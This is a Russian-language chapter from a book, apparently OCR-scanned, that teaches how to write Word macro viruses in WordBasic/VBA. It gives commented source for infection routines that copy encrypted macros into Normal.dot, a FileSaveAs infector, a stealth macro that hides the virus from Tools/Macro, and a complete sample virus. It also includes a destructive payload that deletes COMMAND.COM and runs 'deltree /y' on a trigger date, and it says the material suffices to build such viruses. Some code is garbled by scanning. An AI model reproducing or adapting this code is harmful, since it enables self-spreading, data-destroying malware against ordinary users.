Макровирусы

СОДЕРЖАНИЕ: В этой главе рассказано о макровирусах. Подробно описана процедура и методы заражения файлов. Представлен исходный текст макровируса с подробными комментариями. Приведены основные сведения о языке VBA.

МАКРО-ВИРУСЫ

В этой главе рассказано
о макровирусах. Подробно опи-
сана процедура и методы за-
ражения файлов. Представлен
исходный текст макровируса
с подробными комментария-
ми. Приведены основные
сведения о языке VBA, его про-
цедурах, функциях, стандарт-
ных конструкциях.

Как известно, в последнее время большое распространение получили
макро-вирусы. По сведениям из различных источников, на эти вирусы
приходится от 70 до 80 процентов заражений. Изложенный ниже мате-
риал поможет разобраться в вирусах этого типа.

Инструментарий

Для изучения макро-вирусов понадобится некоторое программное обес-
печение. В качестве полигона необходим MS-WORD версии 6.0 или
выше. Для изучения зашифрованных макросов может пригодиться диз-
ассемблер макросов (автор AURODREPH из VBB). Для более полного
понимания всего изложенного ниже желательно иметь базовые знания
о WORD BASIC.

Чтобы обезопасить рабочие файлы от плодов экспериментов, настоя-
тельно рекомендуется создать резервную копию шаблона
NORMAL.DOT в каталоге WINWORD6\TEMPLATE, так как именно
этот документ обычно заражается макро-вирусом. Когда все готово, са-
мое время перейти к основам макро-вирусов.

Общие сведения

Макрос - это программа, написанная на некотором языке, которая ис-
пользуется обычно для автоматизации определенных процессов внутри
приложений. В данном случае разговор пойдет о языках Visual Basic for
Applications (VBA) и WordBasic (WB), которые Microsoft использует в
своих программах (в частности, Excel, Project и PowerPoint используют
VBA, a WinWord - WB).

Далее будем считать стандартным языком VBA, так как он представля-
ет собой попытку унифицировать макроязык, сделать его общим для
всех программ Microsoft. Несмотря на то, что WB имеет некоторые от-
личия, в том числе и в синтаксисе, структура кода этих языков похожа.
При необходимости будет особо отмечено, что речь идет о WB.

Макрос VBA - это вызываемые процедуры. Они бывают двух типов:

процедуры-подпрограммы и процедуры-функции.

Процедуры-подпрограммы могут исполняться непосредственно или вы-
зываться из других макросов. Синтаксис их следующий:

Sub Имя_Макроса

- код макроса -

Комментарий начинается с апострофа

End Sub

Пример;

Данный макрос открывает диалоговое окно и выводит сообщение

Sub Stupid_Greeting

MsgBox Hello World!

End Sub

Процедуры-функции (также называемые просто функциями) возвраща-
ют значение, которое может быть передано в качестве параметра другой
процедуре. Их синтаксис:

Function Имя_Функции(Аргументы)
- Инструкции -
Комментарий
End Function

Пример:

Суммирует параметры а и b и возвращает
результат в переменную AddAB
Function AddAB(a.b)
AddAB=a+b
End Function

Конечно, в документ можно вставить столько макросов, сколько нужно
(или сколько хочется), ограничений на их количество нет. Набор мак-
росов (процедур-подпрограмм и процедур-функций), составляющих до-
кумент, называется модулем VBA.

Язык VBA работает также с объектами (внутри модулей VBA можно
делать ссылки на документы, графику). Объекты обладают свойствами.
Например, свойством (или атрибутом) объекта является его цвет.

VBA также позволяет работать с переменными. Как любой язык струк-
турного типа, VBA имеет типичные конструкции:

цикл For-next:

Sub Counter Процедура

lnfect_Num=0

For Count=1 to 10 Цикл от 1 до 10

lnfect_Num=lnfect_Num+Count

Next Count

MsgBox Достигли максимального количества заражений

End Sub

4-1436

условие If-then:

Sub lnfect_Check

If lnfect_Num=0 Then MsgBox Файл не заражен

End Sub

конструкция With-end with (используется для работы с несколькими
свойствами конкретного объекта):

Sub ChangeProperties
With Selection
.Font.Bold=True

.Font.Colorlndex=3 красный цвет
End With
End Sub

селектор Select case-end case:

Sub CheckJnfection

Select Case lnfect_Num

Case 0

MsgBox Файл не заражен

Case is О

MsgBox Файл заражен

Case is О

lnfect_Num=0

End Case

End Sub

Полезным инструментом для работы с VBA является окно отладки.
В нем можно трассировать код, вносить в него изменения и делать мно-
гое другое. В процессе отладки для остановки на некоторое время ис-
полнения кода используются флаги. Чтобы можно было анализировать
содержимое конкретных переменных и/или инструкций, после каждой
команды выводятся сообщения (в отладчике VBA для прерывания ис-
полнения кода можно ставить также контрольные точки).

Нужно обратить внимание на разнообразные аргументы функций.
Как уже говорилось, структура их следующая:

Function Имя(Аргументы)

[.]
End Function

Аргументами могут быть константы, переменные или выражения.
Процедуры могут быть и без аргументов.

Function Get_Name()
Name=Application.UserName
End Function

Некоторые функции всегда требуют фиксированное число аргументов
(до 60). Другие функции имеют несколько обязательных аргументов,
а остальные могут отсутствовать.

После того, как основы VBA стали понятны, идем дальше. Итак, виру-
сы и троянцы на VBA.

Язык VBA универсален, и тому есть две причины. Во-первых, этот язык
прост в изучении и использовании, поскольку он является языком ви-
зуального программирования, он ориентирован на события, а не на
объекты. С его помощью без особых затрат времени очень легко созда-
вать сложные модули. Во вторых, можно использовать большое количе-
ство предопределенных функций, облегчающих работу. В третьих, име-
ются функции (или макросы) автоматического выполнения, что
позволяет упростить написание процедур автокопирования, занесения
в память и прочих используемых стандартными DOS-вирусами.

Помимо этого, преимуществом VBA является свойство переносимости.
VBA работает под Win З.х, Win95, WinNT, MacOS и так далее, то есть
в любой операционной системе, где можно запустить приложения его
поддерживающие.

VBA представляет собой язык, адаптированный к языку приложения,
из-под которого он запущен. Это означает, что если на компьютере ус-
тановлена, например, испанская версия WinWord, то имена предопреде-
ленных функций будут также на испанском. Так что два следующих
макроса - вовсе не одно и то же.

Первый макрос (испанский):

Sub Demo_Macro
Con Seleccion.Fuente
.Nombre=Times
Fin Con
End Sub

Второй макрос (английский):

Sub Demo_Macro
With Selection.Font
.Name=Times

4*

End With
End Sub

Последний макрос не будет работать в испанской версии WinWord
(а первый - в английской) - он вызовет ошибку выполнения макроса.
Еще отметим, что VBA - язык интерпретируемого (некомпилируемого)
типа, так что каждая ошибка выполнения проявляется в полете.

Существуют функции, единые для всех версий VBA, вне зависимости
от языка. Например, автоматический макрос AutoExec.

Всего таких специальных макросов пять, выполняются они автомати-
чески:

AutoExec: это макрос, активируемый при загрузке текстового процессо-
ра, но только в том случае, если он сохранен в шаблоне Normal.dot или
в каталоге стандартных приложений;

AutoNew: активизируется при создании нового документа;

AutoOpen: активизируется при открытии существующего документа;

AutoClose: активизируется при закрытии документа;

AutoExit: активизируется при выходе из текстового процессора.

В качестве доказательства силы и универсальности этих макросов рас-
смотрим следующий фрагмент кода (о языке уже договорились).

Макрос наиболее эффективен, если его сохранить как AutoExit
Sub Main

Проверим регистрационное имя
If Application. Username MaD_MoTHeR Then

Снимем атрибуты COMMAND.COM
SetAttr C:\COMMAND.COM,0

Откроем для проверки - вдруг появятся ошибки
Open CACOMMAND.COM for Output as #1

Если ошибки есть, то закроем.
Close #1

и удалим

Kill CACOMMAND.COM

End If

Проверим месяц и дату. Если 29 февраля, то выполним
команду deltree /у nul
If Month(Now())=2 Then
If Day(Now())=29 Then
Shell deltree /y *.* nu
End If
End If
End Sub

Что делает этот макрос? При выходе из WinWord он проверяет два па-
раметра: имя, на которое зарегистрирован WinWord (если это не
MaD_MoTHeR, то будет удален файл COMMAND.COM), и текущую
системную дату (если это 29 февраля, выполняется команда deltree /у
*.* nub).

Очень важно знать, как адаптировать автоматический макрос (ниже
приведен простейший вариант), чтобы активизировать его в открывае-
мый по умолчанию шаблон WinWord.

Это делается так:

Определяется переменная, в которую записывается полное имя макроса:

name$=WindowName$()+:AutoNew

этот макрос будет выполняться каждый раз

при создании нового документа

Теперь нужно записать макрос в шаблон NORMAL.DOT простой ко-
мандой:

MacroCopy name$, Global:AutoNew

Это стандартный способ работы макро-вирусов, но есть еще много дру-
гих, более интересных способов заражения. Всего то и нужно, что не-
много воображения и несколько строчек кода. Одним из трюков, кото-
рый усложняет подобные вирусы и затрудняет их анализ, является
кодирование макро-вирусов.

MacroCopy MyTemplate:MyMacro, GlobahAutoClose, 1

Если выполняется команда MacroCopy с параметром, равным 1 (или
другому числу больше 0), то в результате копирования будет получен
только исполняемый макрос, который нельзя редактировать.

Большинство макро-вирусов имеют типичную структуру. Они начина-
ются с автовыполняемого макроса, заражающего глобальный шаблон
Normal.dot. Также в их состав входят некоторые макросы, которые зара-
жают файлы при определенных действиях (FileSaveAs, FileSave,
ToolsMacros). Документы заражаются при совершении над ними опера-
ций вирусными макросами, то есть они будут инфицироваться при
открытии.

Код для процедуры автовыполнения может выглядеть примерно так:

Sub MAIN

On Error Goto Abort

iMacroCount=CountMacros(0, 0) Проверка на зараженность

For i=1 To iMacroCount

If MacroName$(i, 0, 0)=PayLoad Then

binstalled =-1 с помощью макроса Payload

End If

If MacroName$(i, 0, 0)=FileSaveAs Then

bTooMuchTrouble =-1 но если есть макрос FileSaveAs,
то заразить тяжело

End If

Next i

If Not binstalled And Not bTooMuchTrouble Then

Добавим макросы FileSaveAs и копии AutoExec и FileSave
Payload используется только для проверки на зараженность
,1 - кодирует макросы, делая их нечитаемыми в Word

iWW6llnstance=Val(GetDocumentVar$(WW6lnfector))

sMe$=FileName$()

Macro$=sMe$+:PayLoad

MacroCopy Macro$, Global:PayLoad, 1

Macro$=sMe$+:FileOpen Будет происходить заражение

MacroCopy Macro$, GlobahFileOpen, 1

Macro$=sMe$+:FileSaveAs

MacroCopy Macro$, GlobahFileSaveAs, 1

Macro$=sMe$+:AutoExec

MacroCopy Macro$, GlobahAutoExec, 1

SetProfileString WW6I, Str$(iWW6llnstance+1)

End If

Abort:

End Sub

Процедура SaveAs

Она копирует макро-вирус в активный документ при его сохранении
через команду File/SaveAs. Эта процедура использует во многом схо-
жую с процедурой AutoExec технологию. Код для нее:

Sub MAIN

Dim dig As FileSaveAs

GetCurValues dig

Dialog dig

If (Dlg.Format=0) Or (dlg.Format=1) Then

MacroCopy FileSaveAs, WindowName$()+:FileSaveAs

Заражает при сохранении документа
MacroCopy FileSave, WindowName$()+:FileSave
MacroCopy PayLoad, WindowName$()+:PayLoad
MacroCopy FileOpen, WindowName$()+:FileOpen

При открытии документа
Dlg.Format=1
End If

FileDaveAs dig
End Sub

Этой информации вполне достаточно для создания небольших макро-
вирусов.

Специальные процедуры

Существует несколько способов скрыть вирус или сделать его более
эффективным. Например, можно создать специальный макрос, прячу-
щий вирус, если Tools/Macro открывается для просмотра. Код такого
макроса может выглядеть примерно так:

Sub MAIN
On Error Goto ErrorRoutine

OldName$=NomFichier$()

If macros.bDebug Then

MsgBox start ToolsMacro

Dim dig As OutilsMacro

If macros.bDebug Then MsgBox 1

GetCurValues dig

If macros.bDebug Then MsgBox 2

On Error Goto Skip
Dialog dig
OutilsMacro dig
Skip:

On Error Goto ErrorRoutine При ошибке на выход
End If

REM enable automacros
DisableAutoMacros 0

macros. SavToGlobal(01dName$)

macros.objectiv

Goto Done Переход на метку Done

ErrorRoutine:

On Error Goto Done Переход на метку Done
If macros.bDebug Then

MsgBox error +Str$(Err)+ occurred Сообщение об ошибке
End If

Done:

End Sub

Макро-вирусы также могут включать внешние процедуры. Например,
вирус Nuclear пытается откомпилировать и запустить внешний
файл-разносчик вируса, некоторые троянские макросы пытаются фор-
матировать винчестер при открытии документа.

Пример макро-вируса

Выше были изложены основы для изучения макро-вирусов. Пришло
время рассмотреть исходные тексты.

Macro name: AutoNew [AUTONEW] U
Encryption key: DF
Sub MAIN

Включаем обработку автоматических макросов
DisableAutoMacros 0

Проверим, установлен ли макрос. Если макрос AutoExec
присутствует, считаем, что файл заражен
If (lnstalled=0) And (Forgetlt=0) Then

Заразим. Копируем макрос

MacroCopy WindowName$()+:AutoExec, GlobahAutoExec, 1

MacroCopy WindowName$()+:AutoNew, Global:AutoNew, 1

MacroCopy WmdowName$()+:AutoOpen, Global:AutoOpen, 1

MacroCopy WindowName$()+:DateiSpeichem, Global:DateiSpeichern, 1

MacroCopy WindowName$()+:DateiSpeichernUnter,

Global.-DateiSpeichernllnter, 1

MacroCopy WindowName$()+:DateiBeenden,

GlobahDateiBeenden, 1

MacroCopy WindowName$() + : ExtrasOptionen ,

Global :ExtrasOptionen, 1

MacroCopy WindowName$()+:DateiDokvorlagen,

GlobaLDateiDokvorlagen, 1

MacroCopy WindowName$()+:lt, Global:lt, 1

MacroCopy WindowName$()+:DateiDrucken, GlobahDateiDrucken, 1

End If

End Sub

Функция проверяет, инсталлирован ли макрос AutoExec
Function Installed

Установим переменную Installed в 0 (инициализация переменной).
При положительном результате проверки установим ее в 1
lnstalled=0

Проверим, есть ли макросы
If CountMacros(O) 0 Then

Проверим имена макросов. Если есть AutoExec,

установим переменную Installed в 1

For i=1 To CountMacros(O)

If MacroName$(i, 0)=AutoExec Then

lnstalled=1

End If

Next i

End If

End Function

Function Forgetit

Forgetlt=0

Section$=Compatibility

ProfilName$=Nomvir

BlaBla$=GetProfileString$(Section$, ProfilName$)

If BlaBla$=Ox0690690 Then

Forgetlt=1

End If

End Function

Скачать архив с текстом документа